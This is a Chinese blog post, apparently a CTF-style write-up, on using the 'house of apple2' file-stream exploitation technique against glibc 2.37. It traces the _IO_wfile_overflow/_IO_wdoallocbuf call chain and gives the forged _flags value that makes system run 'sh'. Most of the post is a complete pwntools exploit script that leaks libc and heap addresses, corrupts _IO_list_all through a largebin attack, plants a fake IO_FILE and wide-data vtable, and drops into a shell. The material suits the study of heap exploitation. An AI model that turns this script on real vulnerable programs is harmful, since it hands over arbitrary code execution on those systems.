探究高版本glibc(2.37)下对house of apple2的利用(1)
探究apple2在高版本glibc的可行性
·
在2.35版本下触发house of apple的条件有几个:
1,main函数返回
2,exit函数
3,malloc_assert
其中main函数返回和exit函数都会调用fcloseall函数,调用链如下:
_IO_cleanup
_IO_flush_all_lockp
_IO_flush_all_lockp+223
_IO_wfile_overflow(或其他函数)
_IO_wdoallocbuf
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
在标注的那行当我们通过了前面的检查系统会进行一次宏调用
也就是*(虚表 地址+ 0x18)的函数如图所示
预定的函数被拉起来了(以_IO_wfile_overflow为例)
然后进入_IO_wdoallocbuf
接着我们利用wide_data对虚表检查机制不完善,控制_wide_data以及
*(_wide_data + 0x68)在可控范围内达到任意执行函数的目的。
如图所示system函数成功执行
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//here to call the function
if内即为拉起宏调用所需条件
注意如果欲控制rdi获得shell,_flag需要为
b’ sh;’ + p64((~(2 | 0x8 | 0x800))&0xffffffffffffffff)
接下来展示示例代码 测试程序为笔者自行编写读者可寻其他可用程序进行测试
from pwn import *
p=process('./pwn')
libc = ELF('/glibc/x64/2.37/lib/libc.so.6')
def add(size,data):
p.recvuntil(b'Enter choice:')
p.sendline(b'1')
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.sendline(data)
def free(idx):
p.recvuntil(b'Enter choice:')
p.sendline(b'2')
p.recvuntil(b'id:')
p.sendline(str(idx).encode())
def edit(idx,data):
p.recvuntil(b'Enter choice:')
p.sendline(b'3')
p.recvuntil(b'id:')
p.sendline(str(idx).encode())
p.recvuntil(b'input:')
p.sendline(data)
def show(idx):
p.recvuntil(b'Enter choice:')
p.sendline(b'4')
p.recvuntil(b'id:')
p.sendline(str(idx).encode())
def gd():
gdb.attach(p)
pause()
libc_base = int(p.recv(14),16) - libc.sym['puts']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']
print(hex(libc_base))
add(0x420,b'a')
add(0x438,b'a')
add(0x418,b'a')
free(1)
add(0x440,b'a')
edit(1,b'a' * 0x10)
show(1)
p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x20a
io_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(heap_base))
free(3)
fake_IO_FILE = p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(0) #nothing
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(0) #nothing
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(io_wfile_jumps)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8,b'\x00') + p64(heap_base + 0x6c0)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00') + p64(heap_base + 0xc00)#_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0x1d0,b'\x00') + p64(heap_base + 0xce0)#_wide_data_vtable
fake_IO_FILE += b'\x00' * 0x60 + p64(sys_addr)#func
add(0x418,b'a')
free(5)
edit(1,p64(libc_base + 0x1d20d0) * 2 + p64(heap_base + 0x290) + p64(io_list_all_addr - 0x20))
add(0x440,b'a')
edit(3,fake_IO_FILE)
add(0x430,b'a')
add(0x430,b'a')
add(0x430,b'a')
free(6)
add(0x450,p64(0) + p64(1))
free(8)
edit(2,b'a' * 0x430 + b' sh;' + p64((~(2 | 0x8 | 0x800))&0xffffffffffffffff))
gd()
p.interactive()
p.sendline(b'5')
令人遗憾的是2.37版本里面的malloc_assert 修改了排除了从malloc_assert触发house of apple2的可能
2.35
2.37
更多推荐
已为社区贡献1条内容
所有评论(0)